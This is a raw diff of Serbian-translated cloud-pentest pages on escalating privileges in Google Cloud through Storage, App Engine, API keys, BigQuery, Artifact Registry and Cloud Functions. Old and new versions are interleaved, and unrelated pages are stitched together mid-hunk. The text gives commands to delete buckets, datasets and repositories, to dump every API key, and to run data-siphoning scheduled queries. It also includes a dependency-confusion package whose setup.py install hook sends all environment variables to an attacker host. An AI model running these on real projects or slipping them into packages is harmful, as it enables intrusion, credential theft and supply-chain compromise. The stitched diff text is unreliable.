Da biste pristupili otvorenim bucket-ovima preko pregledača, posetite URL `https://<bucket_name>.storage.googleapis.com/` ili `https://<bucket_name>.storage.googleapis.com/<object_name>`
|
||||
|
||||
Da biste pristupili otvorenim bucket-ovima preko browser-a, posetite URL `https://<bucket_name>.storage.googleapis.com/` ili `https://<bucket_name>.storage.googleapis.com/<object_name>`
|
||||
### `storage.objects.delete` (`storage.objects.get`)
|
||||
|
||||
Da biste obrisali objekat:
|
||||
```bash
|
||||
gcloud storage rm gs://<BUCKET_NAME>/<OBJECT_NAME> --project=<PROJECT_ID>
|
||||
```
|
||||
### `storage.buckets.delete`, `storage.objects.delete` & `storage.objects.list`
|
||||
|
||||
Da biste obrisali bucket:
|
||||
```bash
|
||||
gcloud storage rm -r gs://<BUCKET_NAME>
|
||||
```
|
||||
### Onemogućavanje HMAC Keys
|
||||
|
||||
Dozvola `storage.hmacKeys.update` omogućava onemogućavanje HMAC Keys, a dozvola `storage.hmacKeys.delete` omogućava identitetu da obriše HMAC Keys povezane sa service accounts u Cloud Storage.
|
||||
```bash
|
||||
# Deactivate
|
||||
gcloud storage hmac update <ACCESS_ID> --deactivate
|
||||
|
||||
# Delete
|
||||
gcloud storage hmac delete <ACCESS_ID>
|
||||
```
|
||||
### `storage.buckets.setIpFilter` & `storage.buckets.update`
|
||||
Dozvola `storage.buckets.setIpFilter`, zajedno sa dozvolom `storage.buckets.update`, omogućava identitetu da konfiguriše filtere IP adresa na Cloud Storage bucketu, navodeći koji IP opsezi ili adrese imaju dozvolu za pristup resursima bucketa.
|
||||
|
||||
Za potpuno brisanje IP filtera može se koristiti sledeća komanda:
|
||||
```bash
|
||||
gcloud storage buckets update gs://<BUCKET_NAME> --project=<PROJECT_ID>
|
||||
```
|
||||
Da biste promenili filtrirane IP adrese, možete koristiti sledeću komandu:
|
||||
```bash
|
||||
gcloud storage buckets update gs://<BUCKET_NAME> \
|
||||
--ip-filter-file=ip-filter.json \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
JSON datoteka predstavlja sam filter, nešto poput:
|
||||
```bash
|
||||
{
|
||||
"mode": "Enabled",
|
||||
"publicNetworkSource": {
|
||||
"allowedIpCidrRanges": ["<IP>/<MASK>"]
|
||||
},
|
||||
"allowCrossOrgVpcs": false,
|
||||
"allowAllServiceAgentAccess": false
|
||||
}
|
||||
```
|
||||
### `storage.buckets.restore`
|
||||
Vratite bucket koristeći:
|
||||
```bash
|
||||
gcloud storage restore gs://<BUCKET_NAME>#<GENERATION> \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,87 +1,139 @@
|
||||
# GCP - Apikeys Privesc
|
||||
# GCP - AppEngine Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Apikeys
|
||||
## App Engine
|
||||
|
||||
Sledeće dozvole su korisne za kreiranje i krađu API ključeva, obratite pažnju na ovo iz dokumentacije: _An API key is a simple encrypted string that **identifies an application without any principal**. They are useful for accessing **public data anonymously**, and are used to **associate** API requests with your project for quota and **billing**._
|
||||
|
||||
Dakle, pomoću API ključa možete naterati tu kompaniju da plati za vaše korišćenje API-ja, ali nećete moći da eskalirate privilegije.
|
||||
|
||||
For more information about API Keys check:
|
||||
Za više informacija o App Engine pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-api-keys-enum.md
|
||||
../gcp-services/gcp-app-engine-enum.md
|
||||
{{#endref}}
|
||||
|
||||
For other ways to create API keys check:
|
||||
### `appengine.applications.get`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.operations.list`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.create`, `appengine.versions.get`, `appengine.versions.list`, `cloudbuild.builds.get`,`iam.serviceAccounts.actAs`, `resourcemanager.projects.get`, `storage.objects.create`, `storage.objects.list`
|
||||
|
||||
Ovo su potrebna ovlašćenja za **deploy aplikacije korišćenjem `gcloud` CLI**. Moguće je da se **`get`** i **`list`** ovlašćenja mogu **izostaviti**.
|
||||
|
||||
Primere Python koda možete pronaći na [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine)
|
||||
|
||||
Podrazumevano, ime App servisa će biti **`default`**, i može postojati samo 1 instanca sa istim imenom.\
|
||||
Da biste to promenili i kreirali drugu aplikaciju, u **`app.yaml`**, promenite vrednost root ključa u nešto poput **`service: my-second-app`**
|
||||
```bash
|
||||
cd python-docs-samples/appengine/flexible/hello_world
|
||||
gcloud app deploy #Upload and start application inside the folder
|
||||
```
|
||||
Dajte mu najmanje 10-15 minuta; ako ne uspe, pokrenite deploy još nekoliko puta i sačekajte nekoliko minuta.
|
||||
|
||||
> [!NOTE]
|
||||
> Moguće je **navesti Service Account koji će se koristiti**, ali po defaultu se koristi App Engine default SA.
|
||||
|
||||
The URL of the application is something like `https://<proj-name>.oa.r.appspot.com/` or `https://<service_name>-dot-<proj-name>.oa.r.appspot.com`
|
||||
|
||||
### Ažuriranje odgovarajućih dozvola
|
||||
|
||||
Možda imate dovoljno dozvola da ažurirate AppEngine, ali ne i da kreirate novi. U tom slučaju, ovako možete ažurirati trenutni AppEngine:
|
||||
```bash
|
||||
# Find the code of the App Engine in the buckets
|
||||
gsutil ls
|
||||
|
||||
# Download code
|
||||
mkdir /tmp/appengine2
|
||||
cd /tmp/appengine2
|
||||
## In this case it was found in this custom bucket but you could also use the
|
||||
## buckets generated when the App Engine is created
|
||||
gsutil cp gs://appengine-lab-1-gcp-labs-4t04m0i6-3a97003354979ef6/labs_appengine_1_premissions_privesc.zip .
|
||||
unzip labs_appengine_1_premissions_privesc.zip
|
||||
|
||||
## Now modify the code..
|
||||
|
||||
## If you don't have an app.yaml, create one like:
|
||||
cat >> app.yaml <<EOF
|
||||
runtime: python312
|
||||
|
||||
entrypoint: gunicorn -b :\$PORT main:app
|
||||
|
||||
env_variables:
|
||||
A_VARIABLE: "value"
|
||||
EOF
|
||||
|
||||
# Deploy the changes
|
||||
gcloud app deploy
|
||||
|
||||
# Update the SA if you need it (and if you have actas permissions)
|
||||
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
|
||||
```
|
||||
Ako ste **već kompromitovali AppEngine** i imate dozvolu **`appengine.applications.update`** i **actAs** nad service account-om koji se koristi, možete izmeniti service account koji koristi AppEngine pomoću:
|
||||
```bash
|
||||
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
|
||||
```
|
||||
### `appengine.instances.enableDebug`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.get`, `appengine.versions.list`, `compute.projects.get`
|
||||
|
||||
Uz ove dozvole, moguće je **prijaviti se putem ssh-a na App Engine instance** tipa **flexible** (ne standard). Neke od **`list`** i **`get`** dozvola **možda nisu potrebne**.
|
||||
```bash
|
||||
gcloud app instances ssh --service <app-name> --version <version-id> <ID>
|
||||
```
|
||||
### `appengine.applications.update`, `appengine.operations.get`
|
||||
|
||||
Mislim da ovo samo menja pozadinski SA koji će Google koristiti za podešavanje aplikacija, tako da ne verujem da ovo možete iskoristiti da ukradete service account.
|
||||
```bash
|
||||
gcloud app update --service-account=<sa_email>
|
||||
```
|
||||
### `appengine.versions.getFileContents`, `appengine.versions.update`
|
||||
|
||||
Nisam siguran kako se koriste ove dozvole ili da li su korisne (napomena: kada promeniš code kreira se nova verzija, tako da ne znam da li možeš samo da ažuriraš code ili IAM role jedne verzije, ali pretpostavljam da bi trebalo da možeš, možda menjanjem code-a unutar bucket-a??).
|
||||
|
||||
### `bigquery.tables.delete`, `bigquery.datasets.delete` & `bigquery.models.delete` (`bigquery.models.getMetadata`)
|
||||
|
||||
Da ukloniš tabele, dataset ili modele:
|
||||
```bash
|
||||
# Table removal
|
||||
bq rm -f -t <PROJECT_ID>.<DATASET>.<TABLE_NAME>
|
||||
|
||||
# Dataset removal
|
||||
bq rm -r -f <PROJECT_ID>:<DATASET>
|
||||
|
||||
# Model removal
|
||||
bq rm -m <PROJECT_ID>:<DATASET_NAME>.<MODEL_NAME>
|
||||
```
|
||||
### Zloupotreba Scheduled Queries
|
||||
|
||||
Sa dozvolama `bigquery.datasets.get`, `bigquery.jobs.create`, i `iam.serviceAccounts.actAs`, identitet može da upita metadata dataset-a, pokrene BigQuery jobs i izvrši ih koristeći Service Account sa višim privilegijama.
|
||||
|
||||
Ovaj napad omogućava zlonamernu upotrebu Scheduled Queries za automatizaciju upita (koji se izvršavaju pod izabranim Service Account-om), što može, na primer, dovesti do toga da se osetljivi podaci pročitaju i upišu u drugu table ili dataset kojem napadač ima pristup — omogućavajući indirektnu i kontinuiranu exfiltration bez potrebe да се подаци извлаче екстерно.
|
||||
|
||||
Kada napadač sazna koji Service Account ima neophodne dozvole za izvršavanje željenog upita, može да креира конфигурацију Scheduled Query која се извршава користећи тај Service Account и периодично уписује резултате у dataset по његовом избору.
|
||||
```bash
|
||||
bq mk \
|
||||
--transfer_config \
|
||||
--project_id=<PROJECT_ID> \
|
||||
--location=US \
|
||||
--data_source=scheduled_query \
|
||||
--target_dataset=<DEST_DATASET> \
|
||||
--display_name="Generic Scheduled Query" \
|
||||
--service_account_name="<SERVICE_ACCOUNT>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--schedule="every 10 minutes" \
|
||||
--params='{
|
||||
"query": "SELECT * FROM `<PROJECT_ID>.<SOURCE_DATASET>.<source_table>`;",
|
||||
"destination_table_name_template": "<destination_table>",
|
||||
"write_disposition": "WRITE_TRUNCATE"
|
||||
}'
|
||||
|
||||
```
|
||||
### Pristup za pisanje nad buckets
|
||||
|
||||
Kao što je pomenuto, appengine verzije generišu neke podatke unutar bucket-a sa formatom imena: `staging.<project-id>.appspot.com`. Imajte na umu da nije moguće pre-takeover-ovati ovaj bucket jer GCP korisnici nisu ovlašćeni da kreiraju bucket-ove koristeći domen `appspot.com`.
|
||||
|
||||
Međutim, uz read & write pristup ovom bucket-u, moguće je eskalirati privilegije na SA povezan sa AppEngine verzijom tako što se prati bucket i svaki put kada se izvrši promena, što brže moguće izmeni kod. Na taj način, container koji se kreira iz tog koda će **execute the backdoored code**.
|
||||
|
||||
Za više informacija i **PoC pogledajte relevantne informacije na ovoj stranici**:
|
||||
|
||||
{{#ref}}
|
||||
gcp-serviceusage-privesc.md
|
||||
gcp-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Brute Force API Key access <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
|
||||
### Pristup za pisanje nad Artifact Registry
|
||||
|
||||
Pošto možda ne znate koje su API-je omogućene u projektu ili koja ograničenja su primenjena na pronađeni API ključ, interesantno je pokrenuti alat [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) i proveriti **do kojih resursa možete pristupiti pomoću API ključa.**
|
||||
|
||||
### `apikeys.keys.create` <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
|
||||
|
||||
Ova dozvola omogućava **kreiranje API ključa**:
|
||||
|
||||
<details>
|
||||
<summary>Kreiranje API ključa pomoću gcloud</summary>
|
||||
```bash
|
||||
gcloud services api-keys create
|
||||
Operation [operations/akmf.p7-[...]9] complete. Result: {
|
||||
"@type":"type.googleapis.com/google.api.apikeys.v2.Key",
|
||||
"createTime":"2022-01-26T12:23:06.281029Z",
|
||||
"etag":"W/\"HOhA[...]=\"",
|
||||
"keyString":"AIzaSy[...]oU",
|
||||
"name":"projects/5[...]6/locations/global/keys/f707[...]e8",
|
||||
"uid":"f707[...]e8",
|
||||
"updateTime":"2022-01-26T12:23:06.378442Z"
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh).
|
||||
|
||||
> [!CAUTION]
|
||||
> Imajte na umu da korisnici podrazumevano imaju dozvole za kreiranje novih projekata i dodeljenu ulogu Owner nad novim projektom. Dakle korisnik bi mogao c**kreirati projekat i API key unutar ovog projekta**.
|
||||
|
||||
### `apikeys.keys.getKeyString` , `apikeys.keys.list` <a href="#apikeys.keys.getkeystringapikeys.keys.list" id="apikeys.keys.getkeystringapikeys.keys.list"></a>
|
||||
|
||||
Ove dozvole omogućavaju **prikaz i preuzimanje svih apiKeys i dobijanje Key**:
|
||||
|
||||
<details>
|
||||
<summary>Prikaži i preuzmi sve API keys</summary>
|
||||
```bash
|
||||
for key in $(gcloud services api-keys list --uri); do
|
||||
gcloud services api-keys get-key-string "$key"
|
||||
done
|
||||
```
|
||||
</details>
|
||||
|
||||
Možete pronaći skript za automatizaciju [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh).
|
||||
|
||||
### `apikeys.keys.undelete` , `apikeys.keys.list` <a href="#serviceusage.apikeys.regenerateapikeys.keys.list" id="serviceusage.apikeys.regenerateapikeys.keys.list"></a>
|
||||
|
||||
Ove dozvole vam omogućavaju da **prikažete i ponovo obnovite izbrisane api keys**. **API key se pojavljuje u izlazu** nakon što se izvrši **undelete**:
|
||||
|
||||
<details>
|
||||
<summary>Prikaži i undelete API keys</summary>
|
||||
```bash
|
||||
gcloud services api-keys list --show-deleted
|
||||
gcloud services api-keys undelete <key-uid>
|
||||
```
|
||||
</details>
|
||||
|
||||
### Kreirajte Internal OAuth Application to phish other workers
|
||||
|
||||
Pogledajte sledeću stranicu da naučite kako da to uradite, iako ova akcija pripada servisu **`clientauthconfig`** [according to the docs](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin):
|
||||
|
||||
{{#ref}}
|
||||
../../workspace-security/gws-google-platforms-phishing/
|
||||
{{#endref}}
|
||||
Iako App Engine kreira docker images unutar Artifact Registry, testirano je da **even if you modify the image inside this service** i uklonite App Engine instance (tako da se deploy-uje nova), **code executed doesn't change**.\
|
||||
Moguće je da izvođenjem **Race Condition attack like with the buckets it might be possible to overwrite the executed code**, ali to nije testirano.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,7 +12,7 @@ Za više informacija o Artifact Registry pogledajte:
|
||||
|
||||
### artifactregistry.repositories.uploadArtifacts
|
||||
|
||||
Sa ovom dozvolom napadač može da otpremi nove verzije artefakata sa zlonamernim kodom, kao što su Docker images:
|
||||
Sa ovom dozvolom napadač može otpremiti nove verzije artefakata sa zlonamernim kodom, npr. Docker images:
|
||||
|
||||
<details>
|
||||
<summary>Otpremi Docker image u Artifact Registry</summary>
|
||||
@@ -29,19 +29,19 @@ docker push <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> Provereno je da je **moguće otpremiti novu malicioznu docker** sliku sa istim imenom i tagom kao ona koja je već prisutna, tako da će **stara izgubiti tag** i sledeći put kada se slika sa tim tagom bude **preuzimala biće preuzeta maliciozna**.
|
||||
> Provereno je da je **moguće otpremiti novu malicioznu docker** image sa istim imenom i tagom kao ona koja već postoji, pa će **stara će izgubiti tag** i sledeći put kada se slika sa tim tagom bude preuzeta biće preuzeta **maliciozna**.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Otpremanje Python biblioteke</summary>
|
||||
|
||||
**Počnite kreiranjem biblioteke koju ćete otpremiti** (ako možete da preuzmete najnoviju verziju iz registry-ja, možete izbeći ovaj korak):
|
||||
**Počnite pravljenjem biblioteke koju ćete otpremiti** (ako možete da preuzmete najnoviju verziju iz registry možete izbeći ovaj korak):
|
||||
|
||||
1. **Postavite strukturu projekta**:
|
||||
1. **Podesite strukturu projekta**:
|
||||
|
||||
- Napravite novi direktorijum za vašu biblioteku, npr. `hello_world_library`.
|
||||
- Unutar ovog direktorijuma, kreirajte još jedan direktorijum sa imenom paketa, npr. `hello_world`.
|
||||
- Unutar direktorijuma paketa, kreirajte fajl `__init__.py`. Ovaj fajl može biti prazan ili može sadržati inicijalizacije za vaš paket.
|
||||
- Kreirajte novi direktorijum za vašu biblioteku, npr., `hello_world_library`.
|
||||
- Unutar tog direktorijuma kreirajte još jedan direktorijum sa imenom paketa, npr., `hello_world`.
|
||||
- Unutar direktorijuma paketa kreirajte fajl `__init__.py`. Ovaj fajl može biti prazan ili može sadržati inicijalizacije za vaš paket.
|
||||
|
||||
<details>
|
||||
<summary>Create project structure</summary>
|
||||
@@ -55,9 +55,9 @@ touch hello_world/__init__.py
|
||||
|
||||
</details>
|
||||
|
||||
2. **Napišite kod biblioteke**:
|
||||
2. **Napišite kod vaše biblioteke**:
|
||||
|
||||
- Unutar direktorijuma `hello_world`, kreirajte novu Python datoteku za vaš modul, npr. `greet.py`.
|
||||
- Unutar direktorijuma `hello_world` kreirajte novi Python fajl za vaš modul, npr., `greet.py`.
|
||||
- Napišite vašu "Hello, World!" funkciju:
|
||||
|
||||
<details>
|
||||
@@ -73,7 +73,7 @@ return "Hello, World!"
|
||||
|
||||
3. **Kreirajte fajl `setup.py`**:
|
||||
|
||||
- U korenu vašeg direktorijuma `hello_world_library`, kreirajte fajl `setup.py`.
|
||||
- U korenu vašeg `hello_world_library` direktorijuma kreirajte fajl `setup.py`.
|
||||
- Ovaj fajl sadrži metapodatke o vašoj biblioteci i govori Pythonu kako da je instalira.
|
||||
|
||||
<details>
|
||||
@@ -95,11 +95,11 @@ install_requires=[
|
||||
|
||||
</details>
|
||||
|
||||
**Sada, hajde da otpremimo biblioteku:**
|
||||
**Sada, otpremimo biblioteku:**
|
||||
|
||||
1. **Izgradite svoj paket**:
|
||||
1. **Sastavite paket**:
|
||||
|
||||
- Iz korena direktorijuma `hello_world_library` pokrenite:
|
||||
- Iz korena vašeg `hello_world_library` direktorijuma pokrenite:
|
||||
|
||||
<details>
|
||||
<summary>Build Python package</summary>
|
||||
@@ -110,12 +110,12 @@ python3 setup.py sdist bdist_wheel
|
||||
|
||||
</details>
|
||||
|
||||
2. **Konfigurišite autentifikaciju za twine** (koristi se za otpremanje vašeg paketa):
|
||||
2. **Konfigurišite autentifikaciju za twine** (koji se koristi za otpremanje vašeg paketa):
|
||||
- Uverite se da imate instaliran `twine` (`pip install twine`).
|
||||
- Koristite `gcloud` da konfigurišete kredencijale:
|
||||
|
||||
<details>
|
||||
<summary>Otpremanje paketa pomoću twine</summary>
|
||||
<summary>Upload package with twine</summary>
|
||||
```sh
|
||||
twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://<location>-python.pkg.dev/<project-id>/<repo-name>/ dist/*
|
||||
```
|
||||
@@ -124,7 +124,7 @@ twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-acce
|
||||
3. **Očistite build**
|
||||
|
||||
<details>
|
||||
<summary>Očistite artefakte build-a</summary>
|
||||
<summary>Očistite build artifacts</summary>
|
||||
```bash
|
||||
rm -rf dist build hello_world.egg-info
|
||||
```
|
||||
@@ -133,25 +133,25 @@ rm -rf dist build hello_world.egg-info
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> Nije moguće otpremiti python biblioteku istom verzijom koja je već prisutna, ali je moguće otpremiti **veće verzije** (ili dodati dodatno **`.0` na kraju** verzije ako to radi — ne u pythonu, međutim), ili **obrisati poslednju verziju i otpremiti novu koristeći** (potrebno `artifactregistry.versions.delete`):
|
||||
>
|
||||
> <details>
|
||||
> <summary>Obriši verziju artefakta</summary>
|
||||
>
|
||||
> ```sh
|
||||
> gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>
|
||||
> ```
|
||||
>
|
||||
> </details>
|
||||
> Nije moguće otpremiti python biblioteku sa istom verzijom kao ona koja je već prisutna, ali je moguće otpremiti **veće verzije** (ili dodati dodatno **`.0` na kraju** verzije ako to funkcioniše -ne u pythonu-), ili da **obrišete poslednju verziju i otpremite novu sa** (potrebno `artifactregistry.versions.delete)`**:**
|
||||
|
||||
<details>
|
||||
<summary>Delete artifact version</summary>
|
||||
|
||||
```sh
|
||||
gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
### `artifactregistry.repositories.downloadArtifacts`
|
||||
|
||||
Sa ovom dozvolom možete **preuzimati artefakte** i pretraživati **osetljive informacije** i **ranjivosti**.
|
||||
Sa ovom dozvolom možete **preuzimati artefakte** i tražiti **osetljive informacije** i **ranjivosti**.
|
||||
|
||||
Preuzmi **Docker** sliku:
|
||||
Preuzmite **Docker** image:
|
||||
|
||||
<details>
|
||||
<summary>Preuzmi Docker sliku iz Artifact Registry</summary>
|
||||
<summary>Preuzimanje Docker image-a iz Artifact Registry</summary>
|
||||
```sh
|
||||
# Configure docker to use gcloud to authenticate with Artifact Registry
|
||||
gcloud auth configure-docker <location>-docker.pkg.dev
|
||||
@@ -161,16 +161,16 @@ docker pull <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
|
||||
```
|
||||
</details>
|
||||
|
||||
Preuzmi **python** biblioteku:
|
||||
Preuzmite **python** biblioteku:
|
||||
|
||||
<details>
|
||||
<summary>Preuzmi Python biblioteku iz Artifact Registry</summary>
|
||||
<summary>Preuzmite Python biblioteku iz Artifact Registry</summary>
|
||||
```bash
|
||||
pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
|
||||
```
|
||||
</details>
|
||||
|
||||
- Šta se dešava ako su remote i standard registri pomešani u virtuelnom registru i paket postoji u oba? Pogledaj ovu stranicu:
|
||||
- Šta se dešava ako su udaljeni i standardni registri pomešani u virtualnom registru i paket postoji u oba? Pogledaj ovu stranicu:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-persistence/gcp-artifact-registry-persistence.md
|
||||
@@ -178,7 +178,7 @@ pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth prin
|
||||
|
||||
### `artifactregistry.tags.delete`, `artifactregistry.versions.delete`, `artifactregistry.packages.delete`, (`artifactregistry.repositories.get`, `artifactregistry.tags.get`, `artifactregistry.tags.list`)
|
||||
|
||||
Briše artefakte iz registra, kao što su Docker images:
|
||||
Briše artefakte iz registrija, kao što su docker images:
|
||||
|
||||
<details>
|
||||
<summary>Obriši Docker image iz Artifact Registry</summary>
|
||||
@@ -190,7 +190,7 @@ gcloud artifacts docker images delete <location>-docker.pkg.dev/<proj-name>/<rep
|
||||
|
||||
### `artifactregistry.repositories.delete`
|
||||
|
||||
Obrišite ceo Artifact Registry repozitorijum (čak i ako sadrži sadržaj):
|
||||
Obriši ceo Artifact Registry repozitorijum (čak i ako ima sadržaj):
|
||||
|
||||
<details>
|
||||
<summary>Obriši Artifact Registry repozitorijum</summary>
|
||||
@@ -201,17 +201,72 @@ gcloud artifacts repositories delete <repo-name> --location=<location>
|
||||
|
||||
### `artifactregistry.repositories.setIamPolicy`
|
||||
|
||||
Napadač sa ovom dozvolom može sebi dodeliti privilegije da izvrši neke od prethodno pomenutih repository napada.
|
||||
Napadač sa ovom dozvolom može sebi dodeliti prava potrebna za izvođenje nekih od prethodno pomenutih napada na repository.
|
||||
|
||||
### Pivoting to other Services through Artifact Registry Read & Write
|
||||
|
||||
- **Cloud Functions**
|
||||
|
||||
Kada se kreira Cloud Function novi docker image se gura u Artifact Registry projekta. Pokušao sam da izmenim image novim, pa čak i da obrišem trenutni image (i `cache` image) i ništa se nije promenilo — Cloud Function je nastavila da radi. Dakle, možda bi bilo moguće zloupotrebiti Race Condition attack kao kod bucket-a da se promeni docker container koji će se pokrenuti, ali samo izmena sačuvanog image-a nije dovoljna da kompromituje Cloud Function.
|
||||
Kada se kreira Cloud Function, novi docker image se gura u Artifact Registry projekta. Pokušao sam da zamenim image novim, pa čak i da obrišem trenutni image (i `cache` image) i ništa se nije promenilo — Cloud Function je nastavila da radi. Dakle, možda bi bilo moguće zloupotrebiti Race Condition attack, kao kod bucket-a, da se promeni docker container koji će biti pokrenut, ali samo modifikovanje sačuvanog image-a nije dovoljno da kompromituje Cloud Function.
|
||||
|
||||
- **App Engine**
|
||||
|
||||
Iako App Engine kreira docker image-e unutar Artifact Registry. Testirano je da **čak i ako izmenite image unutar ovog servisa** i uklonite App Engine instancu (tako da se deploy-uje nova) **izvršeni code se ne menja**.\
|
||||
Moguće je da izvođenjem **Race Condition attack-a kao kod bucket-ova može biti moguće prepisati izvršeni code**, ali to nije testirano.
|
||||
Iako App Engine kreira docker images u okviru Artifact Registry, testirano je da čak i ako izmenite image unutar ovog servisa i uklonite App Engine instance (tako da se postavi nova), izvršeni kod se ne menja.\
|
||||
Moguće je da izvođenjem Race Condition attack kao kod bucket-ova može biti moguće prepisati izvršeni kod, ali to nije testirano.
|
||||
|
||||
|
||||
### `artifactregistry.repositories.update`
|
||||
Napadaču nisu potrebna specifična Artifact Registry prava da bi iskoristio ovaj problem — dovoljan je ranjiv virtual-repository konfiguracija. Do toga dolazi kada virtuelni repository kombinuje udaljeni javni repository (npr. PyPI, npm) sa internim, a udaljeni izvor ima istu ili veću prioritet. Ako oba sadrže paket istog imena, sistem bira najvišu verziju. Napadaču je dovoljno da zna ime internog paketa i da može da objavljuje pakete na odgovarajući javni registry.
|
||||
|
||||
Sa `artifactregistry.repositories.update` dozvolom, napadač može promeniti upstream podešavanja virtuelnog repository-ja da namerno kreira ovu ranjivu konfiguraciju i iskoristi Dependency Confusion kao metodu za persistenciju ubacivanjem zlonamernih paketa koje developeri ili CI/CD sistemi mogu automatski instalirati.
|
||||
|
||||
Napadač kreira zlonamernu verziju internog paketa u javnom repository-ju sa većim brojem verzije. Za Python pakete to podrazumeva pripremu strukture paketa koja oponaša legitimnu.
|
||||
```bash
|
||||
mkdir /tmp/malicious_package
|
||||
cd /tmp/malicious_package
|
||||
PACKAGE_NAME="<package-name>"
|
||||
mkdir "$PACKAGE_NAME"
|
||||
touch "$PACKAGE_NAME/__init__.py"
|
||||
```
|
||||
Zatim se kreira fajl setup.py koji sadrži maliciozni kod koji će se izvršiti tokom instalacije. Ovaj fajl mora da navede broj verzije veći od onog u privatnom repozitorijumu.
|
||||
```bash
|
||||
cat > setup.py << 'EOF'
|
||||
import setuptools
|
||||
from setuptools.command.install import install
|
||||
import os
|
||||
import urllib.request
|
||||
import urllib.parse
|
||||
|
||||
def malicious_function():
|
||||
data = dict(os.environ)
|
||||
encoded_data = urllib.parse.urlencode(data).encode()
|
||||
url = 'https://<ip-atacante>/exfil'
|
||||
req = urllib.request.Request(url, data=encoded_data)
|
||||
urllib.request.urlopen(req)
|
||||
|
||||
class AfterInstall(install):
|
||||
def run(self):
|
||||
install.run(self)
|
||||
malicious_function()
|
||||
|
||||
setuptools.setup(
|
||||
name = "<package-name>",
|
||||
version = "0.1.1",
|
||||
packages = ["<package-name>"],
|
||||
cmdclass={'install': AfterInstall},
|
||||
)
|
||||
EOF
|
||||
```
|
||||
Izgradite paket i uklonite wheel kako biste osigurali da se code izvrši tokom instalacije.
|
||||
```bash
|
||||
python3 setup.py sdist bdist_wheel
|
||||
rm dist/<package-name>*.whl
|
||||
```
|
||||
Otpremite zlonamerni paket u javni repozitorijum (na primer, test.pypi.org za Python).
|
||||
```bash
|
||||
pip install twine
|
||||
twine upload --repository testpypi dist/*
|
||||
```
|
||||
Kada sistem ili servis instalira paket koristeći virtualni repozitorijum, preuzeće zlonamernu verziju sa javnog repozitorijuma umesto legitimne interne, zato što je zlonamerna verzija viša i udaljeni repozitorijum ima jednak ili viši prioritet.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,21 +12,19 @@ Više informacija o Cloud Functions:
|
||||
|
||||
### `cloudfunctions.functions.create` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
|
||||
|
||||
Napadač sa ovim privilegijama može **kreirati novu Cloud Function sa proizvoljnim (zlonamernim) kodom i dodeliti joj Service Account**. Zatim, leak token Service Account-a iz metapodataka kako bi eskalirao privilegije na njega.\
|
||||
Moguće su potrebne dodatne privilegije da bi se funkcija pokrenula.
|
||||
Napadač sa ovim privilegijama može **kreirati novu Cloud Function sa proizvoljnim (zlonamernim) kodom i dodeliti joj Service Account**. Zatim, leak the Service Account token from the metadata to escalate privileges to it.\
|
||||
Moguće su potrebne neke privilegije za pokretanje funkcije.
|
||||
|
||||
Exploit scripts for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) and [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) and the prebuilt .zip file can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).
|
||||
|
||||
### `cloudfunctions.functions.update` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
|
||||
|
||||
Napadač sa ovim privilegijama može **izmeniti kod Function-a i čak izmeniti prikačeni Service Account** sa ciljem exfiltrating the token.
|
||||
Napadač sa ovim privilegijama može **izmeniti kod Function i čak izmeniti prikačeni Service Account** sa ciljem exfiltrating the token.
|
||||
|
||||
> [!CAUTION]
|
||||
> Da biste deploy-ovali Cloud Functions, takođe će vam trebati actAs permisije nad default compute service account-om ili nad service account-om koji se koristi za build-ovanje image-a.
|
||||
